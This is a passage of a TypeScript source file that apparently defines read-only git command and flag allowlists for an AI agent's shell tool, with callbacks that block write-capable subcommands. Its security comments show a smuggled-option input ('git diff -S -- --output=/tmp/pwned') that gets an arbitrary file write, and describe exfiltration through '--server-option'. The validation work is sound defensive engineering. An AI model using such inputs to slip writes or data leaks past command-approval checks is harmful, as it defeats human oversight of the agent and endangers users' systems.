File size: 68,294 Bytes
064bfd6 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 | /**
* Shared command validation maps for shell tools (BashTool, PowerShellTool, etc.).
*
* Exports complete command configuration maps that any shell tool can import:
* - GIT_READ_ONLY_COMMANDS: all git subcommands with safe flags and callbacks
* - GH_READ_ONLY_COMMANDS: ant-only gh CLI commands (network-dependent)
* - EXTERNAL_READONLY_COMMANDS: cross-shell commands that work in both bash and PowerShell
* - containsVulnerableUncPath: UNC path detection for credential leak prevention
* - outputLimits are in outputLimits.ts
*/
import { getPlatform } from '../platform.js'
// ---------------------------------------------------------------------------
// Types
// ---------------------------------------------------------------------------
export type FlagArgType =
| 'none' // No argument (--color, -n)
| 'number' // Integer argument (--context=3)
| 'string' // Any string argument (--relative=path)
| 'char' // Single character (delimiter)
| '{}' // Literal "{}" only
| 'EOF' // Literal "EOF" only
export type ExternalCommandConfig = {
safeFlags: Record<string, FlagArgType>
// Returns true if the command is dangerous, false if safe.
// args is the list of tokens AFTER the command name (e.g., after "git branch").
additionalCommandIsDangerousCallback?: (
rawCommand: string,
args: string[],
) => boolean
// When false, the tool does NOT respect POSIX `--` end-of-options.
// validateFlags will continue checking flags after `--` instead of breaking.
// Default: true (most tools respect `--`).
respectsDoubleDash?: boolean
}
// ---------------------------------------------------------------------------
// Shared git flag groups
// ---------------------------------------------------------------------------
const GIT_REF_SELECTION_FLAGS: Record<string, FlagArgType> = {
'--all': 'none',
'--branches': 'none',
'--tags': 'none',
'--remotes': 'none',
}
const GIT_DATE_FILTER_FLAGS: Record<string, FlagArgType> = {
'--since': 'string',
'--after': 'string',
'--until': 'string',
'--before': 'string',
}
const GIT_LOG_DISPLAY_FLAGS: Record<string, FlagArgType> = {
'--oneline': 'none',
'--graph': 'none',
'--decorate': 'none',
'--no-decorate': 'none',
'--date': 'string',
'--relative-date': 'none',
}
const GIT_COUNT_FLAGS: Record<string, FlagArgType> = {
'--max-count': 'number',
'-n': 'number',
}
// Stat output flags - used in git log, show, diff
const GIT_STAT_FLAGS: Record<string, FlagArgType> = {
'--stat': 'none',
'--numstat': 'none',
'--shortstat': 'none',
'--name-only': 'none',
'--name-status': 'none',
}
// Color output flags - used in git log, show, diff
const GIT_COLOR_FLAGS: Record<string, FlagArgType> = {
'--color': 'none',
'--no-color': 'none',
}
// Patch display flags - used in git log, show
const GIT_PATCH_FLAGS: Record<string, FlagArgType> = {
'--patch': 'none',
'-p': 'none',
'--no-patch': 'none',
'--no-ext-diff': 'none',
'-s': 'none',
}
// Author/committer filter flags - used in git log, reflog
const GIT_AUTHOR_FILTER_FLAGS: Record<string, FlagArgType> = {
'--author': 'string',
'--committer': 'string',
'--grep': 'string',
}
// ---------------------------------------------------------------------------
// GIT_READ_ONLY_COMMANDS β complete map of all git subcommands
// ---------------------------------------------------------------------------
export const GIT_READ_ONLY_COMMANDS: Record<string, ExternalCommandConfig> = {
'git diff': {
safeFlags: {
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
// Display and comparison flags
'--dirstat': 'none',
'--summary': 'none',
'--patch-with-stat': 'none',
'--word-diff': 'none',
'--word-diff-regex': 'string',
'--color-words': 'none',
'--no-renames': 'none',
'--no-ext-diff': 'none',
'--check': 'none',
'--ws-error-highlight': 'string',
'--full-index': 'none',
'--binary': 'none',
'--abbrev': 'number',
'--break-rewrites': 'none',
'--find-renames': 'none',
'--find-copies': 'none',
'--find-copies-harder': 'none',
'--irreversible-delete': 'none',
'--diff-algorithm': 'string',
'--histogram': 'none',
'--patience': 'none',
'--minimal': 'none',
'--ignore-space-at-eol': 'none',
'--ignore-space-change': 'none',
'--ignore-all-space': 'none',
'--ignore-blank-lines': 'none',
'--inter-hunk-context': 'number',
'--function-context': 'none',
'--exit-code': 'none',
'--quiet': 'none',
'--cached': 'none',
'--staged': 'none',
'--pickaxe-regex': 'none',
'--pickaxe-all': 'none',
'--no-index': 'none',
'--relative': 'string',
// Diff filtering
'--diff-filter': 'string',
// Short flags
'-p': 'none',
'-u': 'none',
'-s': 'none',
'-M': 'none',
'-C': 'none',
'-B': 'none',
'-D': 'none',
'-l': 'none',
// SECURITY: -S/-G/-O take REQUIRED string arguments (pickaxe search,
// pickaxe regex, orderfile). Previously 'none' caused a parser
// differential with git: `git diff -S -- --output=/tmp/pwned` β
// validator sees -S as no-arg β advances 1 token β breaks on `--` β
// --output unchecked. git sees -S requires arg β consumes `--` as the
// pickaxe string (standard getopt: required-arg options consume next
// argv unconditionally, BEFORE the top-level `--` check) β cursor at
// --output=... β parses as long option β ARBITRARY FILE WRITE.
// git log config at line ~207 correctly has -S/-G as 'string'.
'-S': 'string',
'-G': 'string',
'-O': 'string',
'-R': 'none',
},
},
'git log': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
...GIT_COUNT_FLAGS,
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
...GIT_PATCH_FLAGS,
...GIT_AUTHOR_FILTER_FLAGS,
// Additional display flags
'--abbrev-commit': 'none',
'--full-history': 'none',
'--dense': 'none',
'--sparse': 'none',
'--simplify-merges': 'none',
'--ancestry-path': 'none',
'--source': 'none',
'--first-parent': 'none',
'--merges': 'none',
'--no-merges': 'none',
'--reverse': 'none',
'--walk-reflogs': 'none',
'--skip': 'number',
'--max-age': 'number',
'--min-age': 'number',
'--no-min-parents': 'none',
'--no-max-parents': 'none',
'--follow': 'none',
// Commit traversal flags
'--no-walk': 'none',
'--left-right': 'none',
'--cherry-mark': 'none',
'--cherry-pick': 'none',
'--boundary': 'none',
// Ordering flags
'--topo-order': 'none',
'--date-order': 'none',
'--author-date-order': 'none',
// Format control
'--pretty': 'string',
'--format': 'string',
// Diff filtering
'--diff-filter': 'string',
// Pickaxe search (find commits that add/remove string)
'-S': 'string',
'-G': 'string',
'--pickaxe-regex': 'none',
'--pickaxe-all': 'none',
},
},
'git show': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
...GIT_PATCH_FLAGS,
// Additional display flags
'--abbrev-commit': 'none',
'--word-diff': 'none',
'--word-diff-regex': 'string',
'--color-words': 'none',
'--pretty': 'string',
'--format': 'string',
'--first-parent': 'none',
'--raw': 'none',
// Diff filtering
'--diff-filter': 'string',
// Short flags
'-m': 'none',
'--quiet': 'none',
},
},
'git shortlog': {
safeFlags: {
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
// Summary options
'-s': 'none',
'--summary': 'none',
'-n': 'none',
'--numbered': 'none',
'-e': 'none',
'--email': 'none',
'-c': 'none',
'--committer': 'none',
// Grouping
'--group': 'string',
// Formatting
'--format': 'string',
// Filtering
'--no-merges': 'none',
'--author': 'string',
},
},
'git reflog': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
...GIT_COUNT_FLAGS,
...GIT_AUTHOR_FILTER_FLAGS,
},
// SECURITY: Block `git reflog expire` (positional subcommand) β it writes
// to .git/logs/** by expiring reflog entries. `git reflog delete` similarly
// writes. Only `git reflog` (bare = show) and `git reflog show` are safe.
// The positional-arg fallthrough at ~:1730 would otherwise accept `expire`
// as a non-flag arg, and `--all` is in GIT_REF_SELECTION_FLAGS β passes.
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Block known write-capable subcommands: expire, delete, exists.
// Allow: `show`, ref names (HEAD, refs/*, branch names).
// The subcommand (if any) is the first positional arg. Subsequent
// positionals after `show` or after flags are ref names (safe).
const DANGEROUS_SUBCOMMANDS = new Set(['expire', 'delete', 'exists'])
for (const token of args) {
if (!token || token.startsWith('-')) continue
// First non-flag positional: check if it's a dangerous subcommand.
// If it's `show` or a ref name like `HEAD`/`refs/...`, safe.
if (DANGEROUS_SUBCOMMANDS.has(token)) {
return true // Dangerous subcommand β writes to .git/logs/**
}
// First positional is safe (show/HEAD/ref) β subsequent are ref args
return false
}
return false // No positional = bare `git reflog` = safe (shows reflog)
},
},
'git stash list': {
safeFlags: {
...GIT_LOG_DISPLAY_FLAGS,
...GIT_REF_SELECTION_FLAGS,
...GIT_COUNT_FLAGS,
},
},
'git ls-remote': {
safeFlags: {
// Branch/tag filtering flags
'--branches': 'none',
'-b': 'none',
'--tags': 'none',
'-t': 'none',
'--heads': 'none',
'-h': 'none',
'--refs': 'none',
// Output control flags
'--quiet': 'none',
'-q': 'none',
'--exit-code': 'none',
'--get-url': 'none',
'--symref': 'none',
// Sorting flags
'--sort': 'string',
// Protocol flags
// SECURITY: --server-option and -o are INTENTIONALLY EXCLUDED. They
// transmit an arbitrary attacker-controlled string to the remote git
// server in the protocol v2 capability advertisement. This is a network
// WRITE primitive (sending data to remote) on what is supposed to be a
// read-only command. Even without command substitution (which is caught
// elsewhere), `--server-option="sensitive-data"` exfiltrates the value
// to whatever `origin` points to. The read-only path should never enable
// network writes.
},
},
'git status': {
safeFlags: {
// Output format flags
'--short': 'none',
'-s': 'none',
'--branch': 'none',
'-b': 'none',
'--porcelain': 'none',
'--long': 'none',
'--verbose': 'none',
'-v': 'none',
// Untracked files handling
'--untracked-files': 'string',
'-u': 'string',
// Ignore options
'--ignored': 'none',
'--ignore-submodules': 'string',
// Column display
'--column': 'none',
'--no-column': 'none',
// Ahead/behind info
'--ahead-behind': 'none',
'--no-ahead-behind': 'none',
// Rename detection
'--renames': 'none',
'--no-renames': 'none',
'--find-renames': 'string',
'-M': 'string',
},
},
'git blame': {
safeFlags: {
...GIT_COLOR_FLAGS,
// Line range
'-L': 'string',
// Output format
'--porcelain': 'none',
'-p': 'none',
'--line-porcelain': 'none',
'--incremental': 'none',
'--root': 'none',
'--show-stats': 'none',
'--show-name': 'none',
'--show-number': 'none',
'-n': 'none',
'--show-email': 'none',
'-e': 'none',
'-f': 'none',
// Date formatting
'--date': 'string',
// Ignore whitespace
'-w': 'none',
// Ignore revisions
'--ignore-rev': 'string',
'--ignore-revs-file': 'string',
// Move/copy detection
'-M': 'none',
'-C': 'none',
'--score-debug': 'none',
// Abbreviation
'--abbrev': 'number',
// Other options
'-s': 'none',
'-l': 'none',
'-t': 'none',
},
},
'git ls-files': {
safeFlags: {
// File selection
'--cached': 'none',
'-c': 'none',
'--deleted': 'none',
'-d': 'none',
'--modified': 'none',
'-m': 'none',
'--others': 'none',
'-o': 'none',
'--ignored': 'none',
'-i': 'none',
'--stage': 'none',
'-s': 'none',
'--killed': 'none',
'-k': 'none',
'--unmerged': 'none',
'-u': 'none',
// Output format
'--directory': 'none',
'--no-empty-directory': 'none',
'--eol': 'none',
'--full-name': 'none',
'--abbrev': 'number',
'--debug': 'none',
'-z': 'none',
'-t': 'none',
'-v': 'none',
'-f': 'none',
// Exclude patterns
'--exclude': 'string',
'-x': 'string',
'--exclude-from': 'string',
'-X': 'string',
'--exclude-per-directory': 'string',
'--exclude-standard': 'none',
// Error handling
'--error-unmatch': 'none',
// Recursion
'--recurse-submodules': 'none',
},
},
'git config --get': {
safeFlags: {
// No additional flags needed - just reading config values
'--local': 'none',
'--global': 'none',
'--system': 'none',
'--worktree': 'none',
'--default': 'string',
'--type': 'string',
'--bool': 'none',
'--int': 'none',
'--bool-or-int': 'none',
'--path': 'none',
'--expiry-date': 'none',
'-z': 'none',
'--null': 'none',
'--name-only': 'none',
'--show-origin': 'none',
'--show-scope': 'none',
},
},
// NOTE: 'git remote show' must come BEFORE 'git remote' so longer patterns are matched first
'git remote show': {
safeFlags: {
'-n': 'none',
},
// Only allow optional -n, then one alphanumeric remote name
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Filter out the known safe flag
const positional = args.filter(a => a !== '-n')
// Must have exactly one positional arg that looks like a remote name
if (positional.length !== 1) return true
return !/^[a-zA-Z0-9_-]+$/.test(positional[0]!)
},
},
'git remote': {
safeFlags: {
'-v': 'none',
'--verbose': 'none',
},
// Only allow bare 'git remote' or 'git remote -v/--verbose'
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// All args must be known safe flags; no positional args allowed
return args.some(a => a !== '-v' && a !== '--verbose')
},
},
// git merge-base is a read-only command for finding common ancestors
'git merge-base': {
safeFlags: {
'--is-ancestor': 'none', // Check if first commit is ancestor of second
'--fork-point': 'none', // Find fork point
'--octopus': 'none', // Find best common ancestors for multiple refs
'--independent': 'none', // Filter independent refs
'--all': 'none', // Output all merge bases
},
},
// git rev-parse is a pure read command β resolves refs to SHAs, queries repo paths
'git rev-parse': {
safeFlags: {
// SHA resolution and verification
'--verify': 'none', // Verify that exactly one argument is a valid object name
'--short': 'string', // Abbreviate output (optional length via =N)
'--abbrev-ref': 'none', // Symbolic name of ref
'--symbolic': 'none', // Output symbolic names
'--symbolic-full-name': 'none', // Full symbolic name including refs/heads/ prefix
// Repository path queries (all read-only)
'--show-toplevel': 'none', // Absolute path of top-level directory
'--show-cdup': 'none', // Path components to traverse up to top-level
'--show-prefix': 'none', // Relative path from top-level to cwd
'--git-dir': 'none', // Path to .git directory
'--git-common-dir': 'none', // Path to common directory (.git in main worktree)
'--absolute-git-dir': 'none', // Absolute path to .git directory
'--show-superproject-working-tree': 'none', // Superproject root (if submodule)
// Boolean queries
'--is-inside-work-tree': 'none',
'--is-inside-git-dir': 'none',
'--is-bare-repository': 'none',
'--is-shallow-repository': 'none',
'--is-shallow-update': 'none',
'--path-prefix': 'none',
},
},
// git rev-list is read-only commit enumeration β lists/counts commits reachable from refs
'git rev-list': {
safeFlags: {
...GIT_REF_SELECTION_FLAGS,
...GIT_DATE_FILTER_FLAGS,
...GIT_COUNT_FLAGS,
...GIT_AUTHOR_FILTER_FLAGS,
// Counting
'--count': 'none', // Output commit count instead of listing
// Traversal control
'--reverse': 'none',
'--first-parent': 'none',
'--ancestry-path': 'none',
'--merges': 'none',
'--no-merges': 'none',
'--min-parents': 'number',
'--max-parents': 'number',
'--no-min-parents': 'none',
'--no-max-parents': 'none',
'--skip': 'number',
'--max-age': 'number',
'--min-age': 'number',
'--walk-reflogs': 'none',
// Output formatting
'--oneline': 'none',
'--abbrev-commit': 'none',
'--pretty': 'string',
'--format': 'string',
'--abbrev': 'number',
'--full-history': 'none',
'--dense': 'none',
'--sparse': 'none',
'--source': 'none',
'--graph': 'none',
},
},
// git describe is read-only β describes commits relative to the most recent tag
'git describe': {
safeFlags: {
// Tag selection
'--tags': 'none', // Consider all tags, not just annotated
'--match': 'string', // Only consider tags matching the glob pattern
'--exclude': 'string', // Do not consider tags matching the glob pattern
// Output control
'--long': 'none', // Always output long format (tag-distance-ghash)
'--abbrev': 'number', // Abbreviate objectname to N hex digits
'--always': 'none', // Show uniquely abbreviated object as fallback
'--contains': 'none', // Find tag that comes after the commit
'--first-match': 'none', // Prefer tags closest to the tip (stops after first match)
'--exact-match': 'none', // Only output if an exact match (tag points at commit)
'--candidates': 'number', // Limit walk before selecting best candidates
// Suffix/dirty markers
'--dirty': 'none', // Append "-dirty" if working tree has modifications
'--broken': 'none', // Append "-broken" if repository is in invalid state
},
},
// git cat-file is read-only object inspection β displays type, size, or content of objects
// NOTE: --batch (without --check) is intentionally excluded β it reads arbitrary objects
// from stdin which could be exploited in piped commands to dump sensitive objects.
'git cat-file': {
safeFlags: {
// Object query modes (all purely read-only)
'-t': 'none', // Print type of object
'-s': 'none', // Print size of object
'-p': 'none', // Pretty-print object contents
'-e': 'none', // Exit with zero if object exists, non-zero otherwise
// Batch mode β read-only check variant only
'--batch-check': 'none', // For each object on stdin, print type and size (no content)
// Output control
'--allow-undetermined-type': 'none',
},
},
// git for-each-ref is read-only ref iteration β lists refs with optional formatting and filtering
'git for-each-ref': {
safeFlags: {
// Output formatting
'--format': 'string', // Format string using %(fieldname) placeholders
// Sorting
'--sort': 'string', // Sort by key (e.g., refname, creatordate, version:refname)
// Limiting
'--count': 'number', // Limit output to at most N refs
// Filtering
'--contains': 'string', // Only list refs that contain specified commit
'--no-contains': 'string', // Only list refs that do NOT contain specified commit
'--merged': 'string', // Only list refs reachable from specified commit
'--no-merged': 'string', // Only list refs NOT reachable from specified commit
'--points-at': 'string', // Only list refs pointing at specified object
},
},
// git grep is read-only β searches tracked files for patterns
'git grep': {
safeFlags: {
// Pattern matching modes
'-e': 'string', // Pattern
'-E': 'none', // Extended regexp
'--extended-regexp': 'none',
'-G': 'none', // Basic regexp (default)
'--basic-regexp': 'none',
'-F': 'none', // Fixed strings
'--fixed-strings': 'none',
'-P': 'none', // Perl regexp
'--perl-regexp': 'none',
// Match control
'-i': 'none', // Ignore case
'--ignore-case': 'none',
'-v': 'none', // Invert match
'--invert-match': 'none',
'-w': 'none', // Word regexp
'--word-regexp': 'none',
// Output control
'-n': 'none', // Line number
'--line-number': 'none',
'-c': 'none', // Count
'--count': 'none',
'-l': 'none', // Files with matches
'--files-with-matches': 'none',
'-L': 'none', // Files without match
'--files-without-match': 'none',
'-h': 'none', // No filename
'-H': 'none', // With filename
'--heading': 'none',
'--break': 'none',
'--full-name': 'none',
'--color': 'none',
'--no-color': 'none',
'-o': 'none', // Only matching
'--only-matching': 'none',
// Context
'-A': 'number', // After context
'--after-context': 'number',
'-B': 'number', // Before context
'--before-context': 'number',
'-C': 'number', // Context
'--context': 'number',
// Boolean operators for multi-pattern
'--and': 'none',
'--or': 'none',
'--not': 'none',
// Scope control
'--max-depth': 'number',
'--untracked': 'none',
'--no-index': 'none',
'--recurse-submodules': 'none',
'--cached': 'none',
// Threads
'--threads': 'number',
// Quiet
'-q': 'none',
'--quiet': 'none',
},
},
// git stash show is read-only β displays diff of a stash entry
'git stash show': {
safeFlags: {
...GIT_STAT_FLAGS,
...GIT_COLOR_FLAGS,
...GIT_PATCH_FLAGS,
// Diff options
'--word-diff': 'none',
'--word-diff-regex': 'string',
'--diff-filter': 'string',
'--abbrev': 'number',
},
},
// git worktree list is read-only β lists linked working trees
'git worktree list': {
safeFlags: {
'--porcelain': 'none',
'-v': 'none',
'--verbose': 'none',
'--expire': 'string',
},
},
'git tag': {
safeFlags: {
// List mode flags
'-l': 'none',
'--list': 'none',
'-n': 'number',
'--contains': 'string',
'--no-contains': 'string',
'--merged': 'string',
'--no-merged': 'string',
'--sort': 'string',
'--format': 'string',
'--points-at': 'string',
'--column': 'none',
'--no-column': 'none',
'-i': 'none',
'--ignore-case': 'none',
},
// SECURITY: Block tag creation via positional arguments. `git tag foo`
// creates .git/refs/tags/foo (41-byte file write) β NOT read-only.
// This is identical semantics to `git branch foo` (which has the same
// callback below). Without this callback, validateFlags's default
// positional-arg fallthrough at ~:1730 accepts `mytag` as a non-flag arg,
// and git tag auto-approves. While the write is constrained (path limited
// to .git/refs/tags/, content is fixed HEAD SHA), it violates the
// read-only invariant and can pollute CI/CD tag-pattern matching or make
// abandoned commits reachable via `git tag foo <commit>`.
additionalCommandIsDangerousCallback: (
_rawCommand: string,
args: string[],
) => {
// Safe uses: `git tag` (list), `git tag -l pattern` (list filtered),
// `git tag --contains <ref>` (list containing). A bare positional arg
// without -l/--list is a tag name to CREATE β dangerous.
const flagsWithArgs = new Set([
'--contains',
'--no-contains',
'--merged',
'--no-merged',
'--points-at',
'--sort',
'--format',
'-n',
])
let i = 0
let seenListFlag = false
let seenDashDash = false
while (i < args.length) {
const token = args[i]
if (!token) {
i++
continue
}
// `--` ends flag parsing. All subsequent tokens are positional args,
// even if they start with `-`. `git tag -- -l` CREATES a tag named `-l`.
if (token === '--' && !seenDashDash) {
seenDashDash = true
i++
continue
}
if (!seenDashDash && token.startsWith('-')) {
// Check for -l/--list (exact or in a bundle). `-li` bundles -l and
// -i β both 'none' type. Array.includes('-l') exact-matches, missing
// bundles like `-li`, `-il`. Check individual chars for short bundles.
if (token === '--list' || token === '-l') {
seenListFlag = true
} else if (
token[0] === '-' &&
token[1] !== '-' &&
token.length > 2 &&
!token.includes('=') &&
token.slice(1).includes('l')
) {
// Short-flag bundle like -li, -il containing 'l'
seenListFlag = true
}
if (token.includes('=')) {
i++
} else if (flagsWithArgs.has(token)) {
i += 2
} else {
i++
}
} else {
// Non-flag positional arg (or post-`--` positional). Safe only if
// preceded by -l/--list (then it's a pattern, not a tag name).
if (!seenListFlag) {
return true // Positional arg without --list = tag creation
}
i++
}
}
return false
},
},
'git branch': {
safeFlags: {
// List mode flags
'-l': 'none',
'--list': 'none',
'-a': 'none',
'--all': 'none',
'-r': 'none',
